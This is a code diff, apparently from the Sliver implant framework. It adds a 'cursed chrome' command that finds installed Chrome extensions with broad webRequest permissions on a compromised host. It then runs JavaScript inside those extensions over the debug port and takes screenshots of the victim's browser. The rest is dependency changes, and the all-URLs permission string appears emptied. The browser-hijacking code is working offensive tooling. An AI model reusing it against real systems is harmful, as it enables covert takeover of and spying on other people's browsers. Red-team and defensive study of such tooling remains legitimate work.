+ cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
+ return true
+ })
+ if len(cursedProcesses) < 1 {
+ con.PrintErrorf("No cursed processes\n")
+ return nil
+ }
+
+ port2process := map[int]*core.CursedProcess{}
+ outputBuf := bytes.NewBufferString("")
+ table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+ for _, cursedProcess := range cursedProcesses {
+ fmt.Fprintf(table, "%d\t%s\t%s\n",
+ cursedProcess.BindTCPPort,
+ fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
+ cursedProcess.ExePath)
+ port2process[cursedProcess.BindTCPPort] = cursedProcess
+ }
+ table.Flush()
+ options := strings.Split(outputBuf.String(), "\n")
+ options = options[:len(options)-1] // Remove the last empty option
+ prompt := &survey.Select{
+ Message: "Select a curse:",
+ Options: options,
+ }
+ selected := ""
+ err := survey.AskOne(prompt, &selected)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ if selected == "" {
+ return nil
+ }
+ selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
+ return port2process[selectedPortNumber]
+}
diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go
index 8f4e815db8..9cdecec0b8 100644
--- a/client/command/help/long-help.go
+++ b/client/command/help/long-help.go
@@ -103,6 +103,8 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
+
+ consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
+`
+
+ cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
+[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
+
+If no extension is specified, Sliver will enumerate all installed extensions, extract their
+permissions and determine a valid target for injection. For Cursed Chrome to work properly
+the target extension must have either of these two sets of permissions:
+
+1. "webRequest" "webRequestBlocking" ""
+2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
+
+More information: /~https://github.com/mandatoryprogrammer/CursedChrome
`
)
diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go
index f9e3b001ff..031fc50d34 100644
--- a/client/command/portfwd/portfwd.go
+++ b/client/command/portfwd/portfwd.go
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
- tw.AppendHeader(table.Row{
+ tw.AppendRow(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
diff --git a/client/console/console.go b/client/console/console.go
index c4c746e4c6..e00d71355b 100644
--- a/client/console/console.go
+++ b/client/console/console.go
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
+ core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
diff --git a/client/constants/constants.go b/client/constants/constants.go
index 6ab1f6ded3..ef30970a16 100644
--- a/client/constants/constants.go
+++ b/client/constants/constants.go
@@ -238,6 +238,11 @@ const (
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
+
+ Cursed = "cursed"
+ CursedChrome = "chrome"
+ CursedConsole = "console"
+ CursedElectron = "electron"
)
// Groups
diff --git a/client/core/curses.go b/client/core/curses.go
new file mode 100644
index 0000000000..9df00d1a8c
--- /dev/null
+++ b/client/core/curses.go
@@ -0,0 +1,92 @@
+package core
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "net/url"
+ "sync"
+)
+
+var (
+ // SessionID -> CursedProcess
+ CursedProcesses = &sync.Map{}
+)
+
+type CursedProcess struct {
+ SessionID string
+ PID uint32
+ BindTCPPort int
+ PortFwd *Portfwd
+ Platform string
+ ExePath string
+ ChromeUserDataDir string
+}
+
+func (c *CursedProcess) DebugURL() *url.URL {
+ return &url.URL{
+ Scheme: "http",
+ Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
+ Path: "/json",
+ }
+}
+
+func CursedProcessBySessionID(sessionID string) []*CursedProcess {
+ var cursedProcesses []*CursedProcess
+ CursedProcesses.Range(func(key, value interface{}) bool {
+ cursedProcess := value.(*CursedProcess)
+ if cursedProcess.SessionID == sessionID {
+ cursedProcesses = append(cursedProcesses, cursedProcess)
+ }
+ return true
+ })
+ return cursedProcesses
+}
+
+func CloseCursedProcesses(sessionID string) {
+ CursedProcesses.Range(func(key, value interface{}) bool {
+ cursedProcess := value.(*CursedProcess)
+ if cursedProcess.SessionID == sessionID {
+ defer func() {
+ value, loaded := CursedProcesses.LoadAndDelete(key)
+ if loaded {
+ curse := value.(*CursedProcess)
+ Portfwds.Remove(curse.PortFwd.ID)
+ }
+ }()
+ }
+ return true
+ })
+}
+
+func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
+ CursedProcesses.Range(func(key, value interface{}) bool {
+ cursedProcess := value.(*CursedProcess)
+ if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
+ defer func() {
+ value, loaded := CursedProcesses.LoadAndDelete(key)
+ if loaded {
+ curse := value.(*CursedProcess)
+ Portfwds.Remove(curse.PortFwd.ID)
+ }
+ }()
+ }
+ return true
+ })
+}
diff --git a/client/overlord/overlord.go b/client/overlord/overlord.go
new file mode 100644
index 0000000000..bba5c5409a
--- /dev/null
+++ b/client/overlord/overlord.go
@@ -0,0 +1,300 @@
+package overlord
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "context"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "io/ioutil"
+ "log"
+ "net/http"
+ "net/url"
+
+ "github.com/bishopfox/sliver/client/core"
+ "github.com/chromedp/cdproto/page"
+ "github.com/chromedp/cdproto/target"
+ "github.com/chromedp/chromedp"
+)
+
+const (
+ // AllURLs - All URLs permission
+ AllURLs = ""
+
+ // AllHTTP - All HTTP permission
+ AllHTTP = "http://*/*"
+
+ // AllHTTPS - All HTTP permission
+ AllHTTPS = "https://*/*"
+
+ // WebRequest - WebRequest permission
+ WebRequest = "webRequest"
+
+ // WebRequestBlocking - WebRequestBlocking permission
+ WebRequestBlocking = "webRequestBlocking"
+
+ // FetchManifestJS - Get extension manifest
+ FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
+)
+
+var (
+ // ErrTargetNotFound - Returned when a target cannot be found
+ ErrTargetNotFound = errors.New("Target not found")
+)
+
+// ManifestBackground - An extension manifest file
+type ManifestBackground struct {
+ Scripts []string `json:"scripts"`
+ Persistent bool `json:"persistent"`
+}
+
+// Manifest - An extension manifest file
+type Manifest struct {
+ Name string `json:"name"`
+ Version string `json:"version"`
+ Description string `json:"description"`
+ ManifestVersion int `json:"manifest_version"`
+ Permissions []string `json:"permissions"`
+ Background ManifestBackground `json:"background"`
+}
+
+// ChromeDebugTarget - A single debug context object
+type ChromeDebugTarget struct {
+ Description string `json:"description"`
+ DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
+ ID string `json:"id"`
+ Title string `json:"title"`
+ Type string `json:"type"`
+ URL string `json:"url"`
+ WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
+}
+
+var allocCtx context.Context
+
+func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
+ opts := []func(*chromedp.ExecAllocator){
+ chromedp.Flag("restore-last-session", true),
+ chromedp.UserDataDir(userHomeDir),
+ }
+ switch platform {
+ case "darwin":
+ opts = append(opts,
+ chromedp.Flag("headless", false),
+ chromedp.Flag("use-mock-keychain", false),
+ )
+ default:
+ opts = append(opts, chromedp.Headless)
+ }
+ opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
+ return opts
+}
+
+func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
+ var (
+ cancel context.CancelFunc
+ )
+ if webSocketURL != "" {
+ allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
+ } else {
+ opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
+ allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
+ }
+ taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
+ return taskCtx, taskCancel, cancel
+}
+
+func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
+ targets, err := chromedp.Targets(ctx)
+ if err != nil {
+ return nil
+ }
+ for _, targetInfo := range targets {
+ if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
+ return targetInfo
+ }
+ }
+ return nil
+}
+
+func contains(haystack []string, needle string) bool {
+ set := make(map[string]struct{}, len(haystack))
+ for _, entry := range haystack {
+ set[entry] = struct{}{}
+ }
+ _, ok := set[needle]
+ return ok
+}
+
+func containsAll(haystack []string, needles []string) bool {
+ all := true
+ for _, needle := range needles {
+ if !contains(haystack, needle) {
+ all = false
+ break
+ }
+ }
+ return all
+}
+
+// ExecuteJS - injects a JavaScript code into a target
+func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
+ targetInfo := findTargetInfoByID(ctx, targetID)
+ if targetInfo == nil {
+ return nil, ErrTargetNotFound
+ }
+ extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
+ var result []byte
+ err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
+ return result, err
+}
+
+// FindExtensionWithPermissions - Find an extension with a permission
+func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
+ targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+ if err != nil {
+ return nil, err
+ }
+ for _, target := range targets {
+ ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+ result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+ if err != nil {
+ continue
+ }
+ manifest := &Manifest{}
+ err = json.Unmarshal(result, manifest)
+ if err != nil {
+ continue
+ }
+ if containsAll(manifest.Permissions, permissions) {
+ return &target, nil
+ }
+ }
+ return nil, nil // No targets, no errors
+}
+
+// FindExtensionsWithPermissions - Find an extension with a permission
+func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
+ targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+ if err != nil {
+ return nil, err
+ }
+ extensions := []*ChromeDebugTarget{}
+ for _, target := range targets {
+ ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+ result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+ if err != nil {
+ continue
+ }
+ manifest := &Manifest{}
+ err = json.Unmarshal(result, manifest)
+ if err != nil {
+ continue
+ }
+ if containsAll(manifest.Permissions, permissions) {
+ extensions = append(extensions, &target)
+ }
+ }
+ return extensions, nil
+}
+
+// QueryDebugTargets - Query debug listener using HTTP client
+func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+ resp, err := http.Get(debugURL)
+ if err != nil {
+ return nil, err
+ }
+ if resp.StatusCode != 200 {
+ return nil, errors.New("Non-200 status code")
+ }
+ data, err := ioutil.ReadAll(resp.Body)
+ if err != nil {
+ return nil, err
+ }
+ debugContexts := []ChromeDebugTarget{}
+ err = json.Unmarshal(data, &debugContexts)
+ return debugContexts, err
+}
+
+// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
+func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+ resp, err := http.Get(debugURL)
+ if err != nil {
+ return nil, err
+ }
+ if resp.StatusCode != 200 {
+ return nil, errors.New("Non-200 status code")
+ }
+ data, err := ioutil.ReadAll(resp.Body)
+ if err != nil {
+ return nil, err
+ }
+ debugContexts := []ChromeDebugTarget{}
+ err = json.Unmarshal(data, &debugContexts)
+ if err != nil {
+ return nil, err
+ }
+ extensionContexts := []ChromeDebugTarget{}
+ for _, debugCtx := range debugContexts {
+ ctxURL, err := url.Parse(debugCtx.URL)
+ if err != nil {
+ continue
+ }
+ if ctxURL.Scheme == "chrome-extension" {
+ extensionContexts = append(extensionContexts, debugCtx)
+ }
+ }
+ return extensionContexts, nil
+}
+
+// Screenshot - Take a screenshot of a Chrome context
+func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
+ var result []byte
+ screenshotTask := chromedp.Tasks{
+ chromedp.ActionFunc(func(ctx context.Context) error {
+ _, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
+ if err != nil {
+ return err
+ }
+ result, err = page.CaptureScreenshot().
+ WithQuality(quality).
+ WithClip(&page.Viewport{
+ X: contentSize.X,
+ Y: contentSize.Y,
+ Width: contentSize.Width,
+ Height: contentSize.Height,
+ Scale: 1,
+ }).Do(ctx)
+ if err != nil {
+ return err
+ }
+ return nil
+ }),
+ }
+
+ taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+ defer taskCancel()
+ defer cancel()
+ targetInfo := findTargetInfoByID(taskCtx, targetID)
+ if targetInfo == nil {
+ return []byte{}, ErrTargetNotFound
+ }
+ ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
+ if err := chromedp.Run(ctx, screenshotTask); err != nil {
+ return nil, err
+ }
+ return result, nil
+}
diff --git a/go.mod b/go.mod
index e7650e0d25..1ff1da8d1b 100644
--- a/go.mod
+++ b/go.mod
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
-go 1.17
+go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
@@ -10,8 +10,11 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+ github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
+ github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
+ github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
@@ -35,7 +38,7 @@ require (
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
- golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+ golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
@@ -61,6 +64,7 @@ require (
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
+ github.com/chromedp/sysutil v1.0.0 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
@@ -70,6 +74,9 @@ require (
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
+ github.com/gobwas/httphead v0.1.0 // indirect
+ github.com/gobwas/pool v0.2.1 // indirect
+ github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
@@ -85,9 +92,11 @@ require (
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
+ github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+ github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
diff --git a/go.sum b/go.sum
index 77fcb929a0..2ed05c1217 100644
--- a/go.sum
+++ b/go.sum
@@ -85,6 +85,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
+github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
+github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
@@ -152,6 +154,12 @@ github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
+github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
+github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
+github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
+github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
+github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
+github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
@@ -322,6 +330,12 @@ github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
+github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
+github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
+github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
+github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
+github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
+github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
@@ -537,6 +551,8 @@ github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
+github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
+github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
@@ -569,6 +585,8 @@ github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
+github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
@@ -589,6 +607,8 @@ github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
+github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
+github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
@@ -689,6 +709,8 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
+github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
+github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
@@ -1068,6 +1090,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
